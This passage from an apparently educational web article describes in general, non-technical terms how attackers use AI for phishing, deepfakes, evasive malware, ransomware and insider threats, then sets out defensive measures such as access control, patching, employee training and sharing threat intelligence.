<p>AI increases the risks of spear phishing attacks by enabling real-time personalization at a massive scale. In contrast with broad phishing campaigns, spear phishing carefully targets selected individuals. AI takes this precision to the next level through custom-tailored messages designed to deceive specific recipients.</p>
<p>AI systems can build detailed profiles of each target by ingesting datasets ranging from social media activity to corporate directories. Algorithms analyze this data to recognize relationships, interests, communication styles and upcoming events.</p>
<p>Armed with insights about message types and topics likely to resonate with targets, the AI generates credible phishing emails that convincingly reference acquaintances, hobbies, travel plans or other personal details. These emails evade suspicion by appearing highly relevant rather than generic.</p>
<p>While manual spear phishing requires significant effort per message, AI automatically scales this process across thousands of targets. In a matter of minutes, entire organizations can be bombarded with personalized phishing, crafted specifically for each recipient. </p>
<p>This presents an unprecedented threat, as people are psychologically prone to trust information that seems tailored to them. Organizations must train employees to scrutinize all emails, regardless of how familiar they may seem.</p>
<h3 id="heading-deep-fakes-and-psychological-manipulation">Deep Fakes and Psychological Manipulation</h3>
<p>AI-driven advances like deepfakes represent an alarming new frontier in social engineering that weaponizes technology against human psychology. Deepfakes leverage AI to create hyper-realistic fake videos or audio of individuals saying or doing things they never actually did.</p>
<p>Using techniques like generative adversarial networks, AI can synthesize images and speech that capture a person’s exact likeness and mannerisms. The resulting deepfakes are difficult to distinguish from genuine footage, even on scrutiny.</p>
<p>These deceptive creations enable unprecedented manipulation, as deepfakes can show authority figures or known contacts making potentially dangerous requests that victims feel compelled to obey. Cybercriminals have also used deepfakes to spread disinformation, cause reputational damage, or sow chaos.</p>
<p>AI can identify and exploit psychological triggers to boost compliance. AI can determine values, biases, motivations and emotional pressure points tailored to each individual by analyzing past communications. Highly personalized messages hitting exactly the right psychological notes create immense influence.</p>
<p>When combined together, the one-two punch of deepfakes and psychological profiling takes social engineering scams to uncharted levels of manipulation. This poses a threat to trust in digital communications of all kinds. Combating this requires a coordinated effort between technology and education across private and public spheres. As deepfakes grow, so too must society's vigilance.</p>
<h2 id="heading-malware-and-ransomware">Malware and Ransomware</h2>
<h3 id="heading-enhanced-obfuscation-and-evasion">Enhanced Obfuscation and Evasion</h3>
<p>AI has granted malware previously difficult capacities for stealth and evasion, evading traditional security solutions reliant on pattern recognition.</p>
<p>Integrating AI enables malware to probe its surroundings, identify detection measures, and dynamically adapt its code and behavior to avoid observation. This creates an almost sentient malware strain that modifies itself to remain invisible.</p>
<p>For example, polymorphic malware utilizes AI to alter its code and appearance with each iteration so it never matches known threat signatures. Like a shifting virus mutation to outpace vaccines, this morphing allows the malware to evade pattern-based defenses.</p>
<p>In addition, AI-powered malware can model network activity and security configurations to pinpoint weak points. For example, unmonitored traffic channels. It then optimizes its operations around these blind spots to operate undetected for longer periods.</p>
<p>This ability to assess defenses and strategically camouflage itself creates a powerful new malware category — one that blends into its environment, dodges detection mechanisms, and infiltrates deeper into systems. To counter such evasive threats, organizations will need AI-driven dynamic analysis and behavior-based threat-hunting capabilities.</p>
<h3 id="heading-self-replicating-and-self-evolving-malware">Self-Replicating and Self-Evolving Malware</h3>
<p>Among the most chilling risks of AI is its potential to create self-replicating, self-evolving malware strains that behave like viral plagues.</p>
<p>Typically, malware requires manual oversight and updating by threat actors. AI-powered malware breaks this paradigm by enabling malicious code to self-propagate using worms or botnets. These self-spreading infections can expand exponentially across networks, infiltrating entire infrastructures autonomously.</p>
<p>Even more concerning, the malware learns and updates itself on the fly based on its experiences in the wild. It may incorporate new exploits learned from compromised systems to strengthen infections. The malware can even patch vulnerabilities in itself, eliminating weaknesses.</p>
<p>This self-driven mutation creates malware that continuously grows stealthier and more adaptive. Like sentient programs, these AI threats assess and override security controls. They mimic legitimate software to avoid detection. Over time, the malware evolves into an almost unstoppable adversarial intelligence designed solely to propagate and persist.</p>
<p>The nightmare scenario of an exponentially spreading cyber plague highlights the urgent need to develop new defenses based on AI-driven threat intelligence. To counter autonomous threats, organizations must embrace autonomous protection powered by sophisticated AI capabilities.</p>
<h3 id="heading-ransomware-with-customized-demands">Ransomware with Customized Demands</h3>
<p>Ransomware has evolved into a precision weapon of extortion, thanks to AI capabilities that enable personalized targeting and optimization.</p>
<p>In a departure from the usual ransomware campaigns, AI allows attackers to tailor demands to each victim’s unique profile. AI can determine the maximum tolerable ransom for each target. This increases the likelihood of payment by analyzing data points ranging from industry.</p>
<p>AI also optimizes the encryption process to lock down systems rapidly before defenses react. The algorithms identify and target the most critical data assets that would paralyze the organization if encrypted. This minimizes recoverability without paying.</p>
<p>Furthermore, AI employs statistical learning techniques to assess previous ransom campaigns and refine future tactics. The AI models determine optimal ransom amounts, communication methods, intimidation techniques and other parameters tailored to the target. This constant optimization makes campaigns progressively harder to counter.</p>
<p>The combined impact of personalization, optimization and self-learning makes AI-powered ransomware a formidable threat. Defending against it requires a balanced blend of employee education, cyber insurance, improved backups, and AI-enabled threat hunting. Organizations must also be ready to seek help from legal and cybersecurity agencies when targeted.</p>
<h2 id="heading-insider-threats">Insider Threats</h2>
<h3 id="heading-ai-used-to-identify-vulnerabilities">AI used to identify vulnerabilities</h3>
<p>AI-powered reconnaissance tools can methodically probe internal networks, endpoints, and software to pinpoint security gaps. The AI can model network configurations and scan ranges to uncover unmonitored assets and latent vulnerabilities.</p>
<p>With an intimate map of the organization’s attack surface, the AI can then simulate intrusion scenarios and assess detection likelihood. This enables insiders to refine approaches that avoid raising alarms while carrying out data theft or sabotage.</p>
<p>Such AI-driven vulnerability probes are far more thorough than manual efforts, and when operated at low speeds, can evade anomaly detectors. The automation also removes the need for suspicious activity by human operators.</p>
<p>Organizations face immense risks of exploitation from within by handing insiders an AI-powered blueprint of vulnerabilities and stealthy attack paths. Securing the internal attack surface through continuous monitoring, least privilege policies, and AI-based threat detection represents the keys to mitigating this threat. But as AI offense escalates, so too must AI-powered defense.</p>
<h3 id="heading-automated-data-exfiltration">Automated Data Exfiltration</h3>
<p>Data exfiltration represents the endgame for many insider threats, and AI has granted them powerful new capabilities to automate this high-value data theft.</p>
<p>AI-powered tools can rapidly identify and extract prized information assets such as intellectual property, customer data, financial reports and more. This enables the swift extraction of hundreds of gigabytes without tedious manual searching.</p>
<p>The AI can also model normal network traffic patterns to camouflage the transfers as normal activities. Sensitive data can be split into small pieces and smuggled out incrementally to avoid detection.</p>
<p>Furthermore, the AI can probe data loss prevention and network monitoring tools to dynamically select exfiltration techniques that avoid known alerts. The AI enables stealthy data drainage at a massive scale by continuously assessing and bypassing protective measures.</p>
<p>This hands-free automation of data exfiltration blind spots represents an unprecedented advantage for insiders. To level the playing field, organizations must implement robust AI-driven network monitoring capable of detecting even subtle anomalies indicative of data theft.</p>
<h3 id="heading-masked-malicious-activities">Masked Malicious Activities</h3>
<p>One of the most potent applications of AI by malicious insiders is to mask unauthorized activities that would normally raise security alerts. AI can enable insiders to operate undetected in plain sight.</p>
<p>AI can automate the manipulation of event logs, file timestamps, and other audit trails to create a facade of normalcy around malicious actions by studying normal system and network behaviors. The AI can determine thresholds that avoid suspicion when altering security artifacts.</p>
<p>In addition, AI algorithms can progressively probe anomaly detection systems to identify blind spots where malicious activities go unnoticed. The AI can then optimize the insiders' actions to exploit these unmonitored areas while avoiding flagged behaviors.</p>
<p>This ability to deceive security systems allows AI-empowered insiders to operate covertly despite the organization’s monitoring measures. Telling authorized users apart from criminal insiders becomes exceedingly difficult when their behaviors appear identical to security tools.</p>
<p>Countering this threat requires a combination of access controls, increased scrutiny of high-risk users, and AI-driven techniques to detect subtle indicators of deception that point to insider threats.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/09/image-73.png" alt="Image" width="600" height="400" loading="lazy"></p>
<h2 id="heading-why-do-bad-actors-love-ai">Why do Bad Actors Love AI?</h2>
<p>Bad actors, including cybercriminals and threat actors, have embraced AI as a powerful ally in their illicit pursuits.</p>
<p>Here are some of the reasons why cybercriminals use AI:</p>
<h2 id="heading-increased-efficiency-and-automation">Increased Efficiency and Automation</h2>
<h3 id="heading-optimized-attack-processes">Optimized Attack Processes</h3>
<p>AI's capacity for automation is a benefit to cybercriminals, streamlining the entire attack process from the planning stage to execution. Malicious actors can automate various phases of an attack, reducing the need for manual intervention by harnessing AI-driven tools and scripts.</p>
<p>For instance, AI can automate the identification of potential targets by scanning the internet for vulnerable systems, unpatched software, or misconfigured servers. Once targets are identified, AI can categorize them based on potential value or ease of exploitation, allowing attackers to prioritize their efforts effectively.</p>
<p>Moreover, AI can assist in crafting and delivering phishing emails or malicious payloads. It can generate convincing spear phishing messages tailored to specific individuals or organizations, increasing the chances of success. This automation extends to the deployment of malware, which can be orchestrated on a large scale with minimal human involvement.</p>
<h3 id="heading-improved-speed-and-success-rates">Improved Speed and Success Rates</h3>
<p>One of the key advantages of AI for malicious actors is its ability to accelerate attacks and boost success rates. AI-driven attacks are not only efficient but also swift, allowing cybercriminals to strike quickly and avoid detection.</p>
<p>AI can analyze vast datasets and adapt to changing circumstances in real time. For example, during a phishing campaign, AI can analyze responses from recipients and adjust its messaging to increase the chances of eliciting desired actions. This adaptability ensures that malicious campaigns remain effective, even in the face of countermeasures.</p>
<p>Furthermore, AI can identify and exploit vulnerabilities at a pace that surpasses human capabilities. It can conduct continuous scans of target systems, looking for weaknesses and entry points. When a vulnerability is discovered, AI can launch an attack almost immediately, taking advantage of the security gaps before it can be patched.</p>
<p>AI significantly enhances the efficiency and automation of cyberattacks, enabling malicious actors to optimize their processes, strike swiftly, and increase their success rates. As a result, organizations must bolster their cybersecurity defenses with AI-driven threat detection and response mechanisms to mitigate these threats effectively.</p>
<h2 id="heading-stealth-capabilities">Stealth Capabilities</h2>
<p>AI for malicious actors grants their attacks a cloak of invisibility, allowing them to operate stealthily and evade detection.</p>
<h3 id="heading-ai-enables-attacks-to-evade-detection">AI Enables attacks to Evade Detection</h3>
<p>AI empowers cyberattacks to navigate through digital environments with a level of subtlety that can stun even the most robust security systems. Here's how AI aids attacks in evading detection:</p>
<ul>
<li><strong>Anomaly detection:</strong> AI can analyze massive volumes of data, monitoring network traffic, system logs, and user behaviors in real time. It excels at identifying anomalies and deviations from established baselines. AI-powered attacks can avoid triggering alarms by staying within the bounds of normal behavior.</li>
<li><strong>Signature evasion:</strong> Traditional security measures often rely on known signatures or patterns of malicious activity. AI can modify attack patterns on the fly, ensuring that they don't match known signatures. This dynamic approach allows attacks to bypass signature-based detection systems.</li>
<li><strong>Mimicking legitimate traffic:</strong> AI can emulate legitimate network traffic patterns, making malicious activities blend in seamlessly with authorized actions. This camouflage technique ensures that cyberattacks go unnoticed as they appear to be part of routine operations.</li>
</ul>
<h3 id="heading-ai-adapts-attack-patterns-to-avoid-defenses">AI Adapts Attack Patterns to Avoid Defenses</h3>
<p>AI's adaptability is a formidable asset for cybercriminals seeking to thwart cybersecurity defenses. As security measures evolve and improve, AI-driven attacks can adjust their tactics and techniques to remain effective:</p>
<ul>
<li><strong>Learning and evolution:</strong> AI can learn from interactions with defensive mechanisms. When an attack is detected, AI can analyze the response and adapt its behavior to circumvent the specific defenses in place. This continuous learning and adjustment makes it challenging for defenders to predict and counter future attacks.</li>
<li><strong>Dynamic targeting:</strong> AI can assess the security posture of the target environment in real time. If it detects new security measures or defenses being deployed, it can shift its tactics to exploit potential vulnerabilities introduced by these changes. This dynamic targeting ensures that attacks remain effective even as defenses evolve.</li>
<li><strong>Evasion of behavioral analysis:</strong> Behavioral analysis is a common technique used to identify anomalies and threats based on patterns of behavior. AI-powered attacks can adapt their behavior to resemble typical user actions, making them difficult to differentiate from legitimate activities.</li>
</ul>
<p>AI equips cyberattacks with the ability to operate covertly, avoid detection, and adapt to changing defensive landscapes.</p>
<h2 id="heading-enhanced-targeting">Enhanced Targeting</h2>
<p>AI provides malicious actors with a powerful tool for enhancing the precision and effectiveness of their cyberattacks.</p>
<h3 id="heading-ai-allows-customization-to-specific-systems">AI allows Customization to Specific Systems</h3>
<p>AI for malicious actors facilitates highly targeted attacks. This level of customization enables attackers to focus their efforts on specific systems or organizations, maximizing the impact of their malicious activities:</p>
<p><strong>Reconnaissance and profiling:</strong> AI-driven reconnaissance tools are instrumental in the initial stages of a targeted cyberattack. Here's how they operate:</p>
<ul>
<li><strong>Data collection:</strong> These tools gather extensive data about potential targets, which may include information such as an organization's infrastructure, network topology, software versions, and even detailed employee profiles. This data can be obtained from publicly available sources, social media, or data breaches.</li>
<li><strong>Data analysis:</strong> AI algorithms analyze the collected data to identify vulnerabilities and weaknesses unique to the target organization. Attackers can pinpoint specific entry points and vulnerabilities that might remain hidden from less sophisticated attackers by assessing an organization's digital footprint.</li>
<li><strong>Customized attack vectors:</strong> Armed with this wealth of information, malicious actors can customize their attack vectors. They can choose the most effective approach based on the discovered weaknesses, tailoring their strategies to exploit the specific vulnerabilities within the target's infrastructure.</li>
</ul>
<p><strong>Tailored exploits:</strong> Customization is a hallmark of AI-driven cyberattacks, especially when it comes to crafting exploits and attack payloads:</p>
<ul>
<li><strong>Fine-tuning exploits:</strong> With detailed knowledge about a specific target's environment, attackers can fine-tune their exploits and attack payloads. These custom-crafted attacks are precisely designed to take advantage of the identified vulnerabilities, maximizing the chances of success.</li>
<li><strong>Reduced reliance on generic exploits:</strong> Unlike generic, one-size-fits-all exploits, customized attacks are less likely to trigger alarms or be detected by traditional security measures. This minimizes the need for attackers to rely on known exploits, which may be more easily defended against.</li>
<li><strong>Enhanced stealth:</strong> Customized exploits are less likely to resemble known attack patterns, making them harder to recognize by intrusion detection systems (IDS) and antivirus solutions. This adds an extra layer of stealth to the attack, allowing it to progress undetected.</li>
</ul>
<p><strong>Precision attacks:</strong> AI's role in enabling precision attacks cannot be overstated. It helps attackers focus their efforts precisely where it matters:</p>
<ul>
<li><strong>Surgical precision:</strong> AI can assist in directing attacks with surgical precision. Attackers can ensure that their efforts are concentrated on critical assets, sensitive data, or even specific individuals within the organization. This level of precision reduces the potential for collateral damage and improves the likelihood of achieving the attacker's objectives.</li>
<li><strong>Minimized exposure:</strong> By targeting only what is necessary, malicious actors reduce their exposure and increase their chances of avoiding detection. They minimize unnecessary interactions with non-critical systems, making it harder for defenders to notice the intrusion until it's too late.</li>
<li><strong>Greater impact:</strong> Precision attacks are designed to achieve specific objectives, such as data theft, espionage, or system disruption. By focusing on high-value targets, malicious actors can maximize the impact of their activities while minimizing the risk of getting caught.</li>
</ul>
<h3 id="heading-ai-tailors-attacks-based-on-real-time-responses">AI tailors attacks based on real-time responses</h3>
<p>AI's adaptability allows cyberattacks to be dynamic and responsive, tailoring their strategies based on real-time feedback and the evolving security posture of the target:</p>
<p><strong>Real-time analysis:</strong> It is a cornerstone of AI-driven attacks, allowing malicious actors to continuously assess and adapt their tactics as the situation unfolds:</p>
<ul>
<li><strong>Ongoing monitoring:</strong> AI systems can continuously monitor the target environment, including network traffic, system logs, and user behaviors. This real-time monitoring provides attackers with up-to-the-minute insights into the target's defenses and responses.</li>
<li><strong>Response assessment:</strong> AI algorithms analyze responses from security systems, incident responders, and the behaviors of the target organization. This assessment helps attackers gauge the effectiveness of their ongoing attack and identify any signs of detection or resistance.</li>
<li><strong>Behavioral analysis:</strong> AI excels at behavioral analysis, which allows attackers to identify deviations from normal patterns of activity. This analysis can help attackers identify potential vulnerabilities or security weaknesses in real time.</li>
</ul>
<p><strong>Dynamic attack patterns:</strong> The adaptability of AI extends to dynamic adjustments of attack patterns, ensuring that cyberattacks remain effective even when faced with resistance or detection attempts:</p>
<ul>
<li><strong>Tactic modification:</strong> When an AI-driven attack encounters resistance, it can swiftly modify its tactics on the fly. For example, if a phishing campaign is identified and blocked, AI can alter the content and format of the phishing messages to closely emulate legitimate communications. This makes it significantly more challenging for defenders to detect and respond to the attack.</li>
<li><strong>Evasion techniques:</strong> AI can employ evasion techniques to dodge detection. For instance, it can randomize the timing of malicious activities, making them appear less suspicious. It can also change the attack vectors or communication channels to bypass security measures.</li>
<li><strong>Avoiding patterns:</strong> Traditional security measures often rely on recognizing patterns of malicious behavior. AI-driven attacks are designed to constantly change these patterns, making it extremely difficult for defenders to anticipate their next moves.</li>
</ul>
<p><strong>Attack pivoting:</strong> AI's adaptability also allows for rapid attack pivoting, enabling cyberattacks to switch to alternative methods or vulnerabilities in real time:</p>
<ul>
<li><strong>Identifying weak points:</strong> AI systems can identify new vulnerabilities or security gaps as they emerge within the target environment. When such weaknesses are detected, attackers can pivot to exploit them immediately.</li>
<li><strong>Alternative attack vectors:</strong> If initial attack vectors prove ineffective or are detected, AI can pivot to alternative methods or attack vectors that it identifies as viable. This adaptability ensures that attacks remain persistent and continue to evolve, increasing the likelihood of success.</li>
<li><strong>Obfuscation and camouflage:</strong> Attackers can use AI to obscure their activities or disguise them as normal actions. For example, they might change their tactics to mimic routine system maintenance or data transfers to evade suspicion.</li>
</ul>
<p>AI equips malicious actors with the capability to personalize their attacks to specific targets, systems, or individuals. It also enables attackers to adapt their strategies in real-time, making it exceptionally challenging for defenders to predict and counter their actions effectively.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/09/image-75.png" alt="Image" width="600" height="400" loading="lazy"></p>
<h2 id="heading-how-to-reduce-the-risks-of-ai-in-cybersecurity">How to Reduce the Risks of AI in Cybersecurity</h2>
<p>In this section, we'll discuss different methods that can be used to counter the negative use of AI in cyberattacks. </p>
<h2 id="heading-implementing-robust-security-frameworks">Implementing Robust Security frameworks</h2>
<p>To effectively counter the emerging threats posed by AI in the cybersecurity landscape, organizations must adopt comprehensive security frameworks that encompass both traditional and AI-driven defense mechanisms.</p>
<h3 id="heading-implementing-strong-protocols-and-best-practices">Implementing strong protocols and best practices</h3>
<p><strong>Access control:</strong> Effective access control measures are essential for safeguarding sensitive systems and data:</p>
<ul>
<li><strong>Authorization protocols:</strong> Implement stringent authorization protocols to ensure that only authorized personnel have access to critical systems and data. This includes assigning role-based access and permissions to limit access to what is necessary for each user's role.</li>
<li><strong>Multi-Factor Authentication (MFA):</strong> Enforce the use of MFA, which requires users to provide multiple forms of identification before gaining access. MFA significantly enhances security by adding an extra layer of authentication beyond passwords.</li>
<li><strong>Regular privilege review:</strong> Continuously review and audit user privileges to identify and revoke unnecessary access rights. This helps reduce the potential attack surface by limiting the pathways available to attackers.</li>
</ul>
<p><strong>Regular patch management:</strong> Timely patch management is a foundational practice for minimizing vulnerabilities:</p>
<ul>
<li><strong>Patch deployment:</strong> Ensure that software and systems are kept up-to-date with the latest security patches. Regularly apply patches to address known vulnerabilities and security issues. Automated patch management tools can streamline this process.</li>
<li><strong>Vulnerability scanning:</strong> Employ vulnerability scanning tools to identify and prioritize vulnerabilities. This allows organizations to focus their patching efforts on the most critical areas.</li>
<li><strong>Testing and validation:</strong> Before deploying patches in production environments, thoroughly test them in a controlled environment to ensure they do not introduce new issues. Validate the effectiveness of patches against known vulnerabilities.</li>
</ul>
<p><strong>Network segmentation:</strong> Network segmentation is crucial for limiting lateral movement within the network:</p>
<ul>
<li><strong>Isolating critical assets:</strong> Segment the network to isolate critical assets and sensitive data. This practice prevents attackers from easily moving freely within the network, should they breach the perimeter.</li>
<li><strong>Micro-segmentation:</strong> Consider micro-segmentation, which divides the network into smaller, isolated segments with tightly controlled access rules. This approach enhances security by minimizing the attack surface within each segment.</li>
<li><strong>Zero-trust architecture:</strong> Embrace a zero-trust architecture that assumes no trust by default, even for users and devices inside the network. This approach requires continuous verification of identity and device health before granting access.</li>
</ul>
<p><strong>User training and awareness:</strong> Educating employees about AI-driven cyber threats is crucial to building a resilient defense:</p>
<ul>
<li><strong>Phishing awareness:</strong> Train employees to recognize and report phishing attempts, including those enhanced by AI. Teach them to scrutinize email content, look for unusual sender addresses, and verify the legitimacy of links and attachments.</li>
<li><strong>Social engineering awareness:</strong> Educate employees about social engineering tactics that leverage AI, such as AI-driven chatbots or deepfake impersonations. Encourage them to verify the identity of individuals or entities they interact with online.</li>
<li><strong>Regular training:</strong> Conduct regular training programs to keep employees informed about the latest AI-driven threats and attack methods. Reinforce the importance of vigilance in an evolving threat landscape.</li>
</ul>
<p><strong>Incident response plan:</strong> A robust incident response plan is essential for effectively countering AI-driven threats:</p>
<ul>
<li><strong>Comprehensive planning:</strong> Develop a comprehensive incident response plan that includes specific provisions for AI-driven threat detection and response mechanisms. Ensure that the plan covers both technical and organizational aspects of incident response.</li>
<li><strong>Regular testing:</strong> Regularly test the incident response plan through tabletop exercises and simulated cyberattack scenarios. This helps identify gaps in the plan and ensures that all team members understand their roles and responsibilities.</li>
<li><strong>Continuous improvement:</strong> Continuously update the incident response plan to reflect evolving threats and changes in the organization's infrastructure. Incorporate lessons learned from real incidents and exercise simulations.</li>
</ul>
<h3 id="heading-integrating-ai-responsibly-into-defenses">Integrating AI Responsibly into Defenses</h3>
<p><strong>AI-powered threat detection:</strong> Leverage AI-driven threat detection systems to enhance real-time threat identification:</p>
<ul>
<li><strong>Anomaly detection:</strong> Deploy AI algorithms capable of identifying anomalies and suspicious behavior within network traffic, user activity, and system logs. These systems can analyze massive volumes of data and use machine learning to discern patterns indicative of potential threats.</li>
<li><strong>Behavioral analytics:</strong> Implement behavioral analysis using AI to monitor user and system behavior continuously. AI can detect deviations from normal patterns, allowing for the early identification of insider threats and stealthy attacks that may evade traditional signature-based detection.</li>
<li><strong>Dynamic threat scoring:</strong> Utilize AI to assign dynamic threat scores to activities and behaviors. This allows for prioritization of threats based on their severity and likelihood, enabling security teams to focus their efforts on the most critical issues.</li>
</ul>
<p><strong>Threat intelligence sharing:</strong> Collaborate with other organizations and share threat intelligence to stay ahead of emerging AI-driven threats:</p>
<ul>
<li><strong>Information exchange:</strong> Establish channels for sharing threat intelligence with industry peers, government agencies, and cybersecurity organizations. Collaborative information exchange provides valuable insights into evolving threats and helps develop effective countermeasures.</li>
<li><strong>Threat indicator sharing:</strong> Share indicators of compromise (IOCs), tactics, techniques, and procedures (TTPs), and other relevant threat information. Rapid dissemination of this data across organizations can aid in early threat detection and response.</li>
<li><strong>Cross-industry collaboration:</strong> Extend threat intelligence sharing beyond your industry to gain a holistic understanding of cross-sector threats. Many cyberattacks target multiple industries simultaneously, and cross-industry collaboration can uncover coordinated campaigns.</li>
</ul>
<p><strong>Ethical AI usage:</strong> Responsible and ethical AI usage in defense is essential:</p>
<ul>
<li><strong>Avoid offensive use:</strong> Ensure that AI technologies are not employed for offensive purposes or activities that may harm individuals, organizations, or society at large. Ethical considerations must guide the use of AI in cybersecurity.</li>
<li><strong>Compliance with regulations:</strong> Stay informed about relevant regulations and compliance standards related to AI usage in cybersecurity. Ensure that AI deployments align with ethical guidelines and legal requirements.</li>
</ul>
<p><strong>AI model explainability:</strong> Prioritize model explainability when utilizing AI for threat detection:</p>
<ul>
<li><strong>Transparent models:</strong> Choose AI models that are transparent and interpretable. Understand how AI systems arrive at their conclusions and ensure that these processes are explainable to human analysts. Transparency fosters trust in AI-driven security measures.</li>
<li><strong>Interpretability tools:</strong> Utilize AI model interpretability tools that provide insights into the factors influencing AI decisions. These tools assist analysts in comprehending the rationale behind AI-generated alerts or actions.</li>
</ul>
<p><strong>Continuous monitoring:</strong> Implement continuous monitoring of AI-driven defenses to adapt to evolving threats effectively:</p>
<ul>
<li><strong>Performance assessment:</strong> Regularly assess the performance of AI models and systems. Monitor their accuracy in threat detection and false positive rates. Identify areas for improvement and fine-tune AI models as needed to enhance their effectiveness.</li>
<li><strong>Adaptive AI:</strong> Design AI-driven defenses to adapt to evolving threats. Implement mechanisms for AI systems to self-learn and evolve their threat detection capabilities based on changing attack patterns.</li>
<li><strong>Response optimization:</strong> Use AI to optimize incident response by automating routine tasks and providing real-time insights to incident responders. AI can help prioritize alerts and guide human analysts in making informed decisions during cyber incidents.</li>
</ul>
<p>Robust security frameworks should be built on a foundation of best practices and responsible AI integration. This includes implementing strong protocols to secure systems, educating personnel, and maintaining a proactive approach to threat detection and response. Organizations can effectively mitigate the risks associated with AI-driven cyber threats while harnessing the advantages of AI for their defense strategies by combining these elements.</p>
<h2 id="heading-implementing-training-and-awareness-programs">Implementing Training and Awareness Programs</h2>
<p>Training and awareness programs are essential components of a comprehensive cybersecurity strategy, particularly when dealing with the evolving threats posed by AI-driven attacks.</p>
<h3 id="heading-educating-employees-on-ai-attack-methods">Educating employees on AI attack methods</h3>
<p><strong>Phishing awareness:</strong> Start by educating employees about the dangers of phishing attacks, especially those powered by AI. Teach them to recognize the signs of phishing emails and messages, including unusual language, unexpected attachments, and suspicious links.</p>
<p><strong>Social engineering awareness:</strong> Raise employee awareness about social engineering tactics that leverage AI:</p>
<ul>
<li><strong>AI-enhanced Chatbots:</strong> Educate employees about AI-driven chatbots used in social engineering attacks. Emphasize the importance of verifying the identity of individuals or entities they interact with online, especially in chat or messaging platforms.</li>
<li><strong>Deepfake impersonations:</strong> Explain the concept of deepfake impersonations, where AI is used to create convincing fake videos or audio recordings. Teach employees to exercise caution when presented with potentially manipulated media.</li>
<li><strong>Social media awareness:</strong> Train employees to be cautious about sharing sensitive information on social media platforms. Advise them on privacy settings and the potential for AI to analyze publicly available information.</li>
</ul>
<p><strong>AI-specific threats:</strong> Provide specialized training modules that address AI-specific threats:</p>
<ul>
<li><strong>Understanding AI in attacks:</strong> Educate employees on how AI is utilized by cybercriminals to create more convincing and personalized attacks. Explain the role of AI in tailoring phishing messages or automating social engineering interactions.</li>
<li><strong>Vigilance and critical thinking:</strong> Stress the importance of vigilance and critical thinking when interacting with digital content. Encourage employees to question the authenticity of online communications and to think twice before sharing sensitive information.</li>
</ul>
<p><strong>Hands-on simulations:</strong> Conduct simulated AI-driven attack scenarios to give employees practical experience in recognizing and responding to such threats. This can be done through tabletop exercises or phishing simulation campaigns.</p>
<p><strong>Regular updates:</strong> Cyber threats are constantly evolving. Keep employees informed about the latest AI-driven attack methods and tactics. Offer regular updates and refresher courses to ensure their knowledge remains current.</p>
<h3 id="heading-establishing-reporting-procedures">Establishing reporting procedures</h3>
<p><strong>Anonymous reporting:</strong> Create a mechanism for employees to report suspicious activities or potential AI-driven threats anonymously if they prefer. Anonymity can encourage individuals to come forward without fear of reprisal.</p>
<p><strong>Clear reporting channels:</strong> Provide clear and accessible reporting channels, such as designated email addresses or phone numbers, for employees to use when they encounter AI-related security concerns. Ensure that these channels are well-publicized within the organization.</p>
<p><strong>Response protocols:</strong> Develop response protocols for handling reported incidents. Ensure that there is a defined process for investigating reported threats and taking appropriate action.</p>
<p><strong>Encourage reporting:</strong> Foster a culture of cybersecurity awareness where employees are encouraged to report anything they find suspicious. Emphasize that their vigilance contributes to the overall security of the organization.</p>
<p><strong>Feedback loop:</strong> Establish a feedback loop to keep employees informed about the outcomes of their reports. This can help reinforce the importance of reporting and demonstrate that their concerns are taken seriously.</p>
<p><strong>Training on reporting:</strong> Include training on how to use reporting channels and what information should be included in a report. Ensure that employees understand what constitutes a security incident worth reporting.</p>
<p>Training and awareness programs play a pivotal role in mitigating the risks associated with AI-driven cyber threats. Organizations should empower their workforce to become a proactive line of defense against emerging threats.</p>
<h2 id="heading-collaboration-between-organizations">Collaboration Between Organizations</h2>
<p>Collaboration between organizations is a crucial element of a comprehensive cybersecurity strategy, particularly when addressing the evolving threats posed by AI-driven attacks.</p>
<h3 id="heading-sharing-threat-intelligence">Sharing threat intelligence</h3>
<p><strong>Information-sharing platforms:</strong> Establish or participate in information-sharing platforms and networks where organizations can exchange threat intelligence data. These platforms facilitate the sharing of IOCs, TTPs, and other relevant threat information.</p>
<p><strong>Anonymized data sharing:</strong> Promote the sharing of anonymized data to protect sensitive information while still providing valuable insights into emerging threats:</p>
<ul>
<li><strong>Data privacy considerations:</strong> Recognize the importance of data privacy and compliance with relevant regulations. Encourage the use of techniques like data anonymization or pseudonymization to protect personally identifiable information (PII) while sharing threat intelligence.</li>
<li><strong>Aggregate threat data:</strong> Aggregate and share statistical and behavioral threat data that has been stripped of identifying details. This approach allows organizations to benefit from collective insights without exposing sensitive information.</li>
<li><strong>Secure data handling:</strong> Implement secure data handling practices when sharing threat intelligence. Ensure that data is encrypted during transit and at rest, and that access controls are in place to restrict who can view and use the shared data.</li>
</ul>
<p><strong>Real-time sharing:</strong> Prioritize real-time sharing of threat intelligence to enable timely response to emerging AI-driven threats:</p>
<ul>
<li><strong>Automated sharing:</strong> Implement automated sharing mechanisms that disseminate threat intelligence in real-time or near-real-time. Automation reduces response times and enhances the effectiveness of threat detection and mitigation.</li>
<li><strong>Threat feeds:</strong> Subscribe to threat intelligence feeds that provide live updates on the latest threats and vulnerabilities. These feeds can be integrated with security systems to trigger immediate responses when new threats are detected.</li>
<li><strong>Rapid response teams:</strong> Establish dedicated teams or processes for handling urgent threat intelligence sharing. These teams should be trained and equipped to respond swiftly to emerging threats.</li>
</ul>
<p><strong>Cross-industry collaboration:</strong> Collaborate not only within your industry but also across different sectors to address AI-driven cyber threats comprehensively:</p>
<ul>
<li><strong>Information fusion:</strong> Share threat intelligence not only with organizations in your industry but also with those in other sectors. Many cyber threats target multiple industries simultaneously, and cross-industry collaboration can help identify coordinated attacks and broader trends.</li>
<li><strong>Sector-specific insights:</strong> Collaborate with organizations in sectors that may have unique insights or expertise related to AI-driven threats. Such partnerships can provide valuable context and shared experiences.</li>
</ul>
<p><strong>Public-Private partnerships:</strong> Foster partnerships between public and private organizations to effectively combat AI-driven cyber threats:</p>
<ul>
<li><strong>Government cooperation:</strong> Collaborate with government entities at the local, national, and international levels. Governments can provide law enforcement support, legal frameworks, and resources for addressing cyber threats.</li>
<li><strong>Cybersecurity companies:</strong> Partner with cybersecurity companies and vendors specializing in AI-driven threat detection and response. These partnerships can enhance your organization's access to cutting-edge technology and expertise.</li>
<li><strong>Information-sharing programs:</strong> Participate in public-private information-sharing programs and initiatives. Many countries have established such programs to facilitate the exchange of cyber threat intelligence between government agencies and private-sector organizations.</li>
</ul>
<h3 id="heading-coordinating-incident-response">Coordinating incident response</h3>
